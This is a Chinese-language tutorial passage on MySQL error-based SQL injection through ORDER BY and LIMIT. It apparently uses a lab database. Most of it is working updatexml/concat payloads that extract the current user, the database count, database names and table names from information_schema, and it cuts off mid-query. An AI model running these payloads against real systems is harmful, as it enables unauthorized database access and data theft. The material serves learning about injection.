目录
1.order by与limit结合的报错注入(通常在5.7版本之前与union联合查询结合使用)
2.limit与procedure analyse()函数来实现错误注入
📔前言
- 在学习sql注入的过程中我们不可避免要了解许多sql注入的相关注入语句,下面将介绍其中的两种注入方法order by、limit
📔order by
📓介绍
- 注入点出现在oder by后面即可称为order by 注入
📓方法
1.有回显的报错注入
📖数据库一般用法
#数据库中的使用方法
select *from 表名/库名.表名 order by id asc/desc;
- 当order by后的参数可控时可能会存在注入点,举个例子我们通过错误注入的方法得到我们需要的数据
📖获取数据库当前用户
select * from security.users order by id and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
📖获取数据库个数
select * from users order by id and (updatexml(1,(concat(0x7e,(select count(*) from information_schema.schemata),0x7e)),1));
📖获取当前数据库库名
select * from security.users order by id and (updatexml(1,concat(0x7e,(select database()),0x7e),1));
📖获取所有数据库库名(order by和limit的使用)
select * from security.users order by id and (updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1));
📖获取数据库表名
#单个注入出来
select *from users order by id and (updatexml(1,concat(0x7e,(select table_name from information_s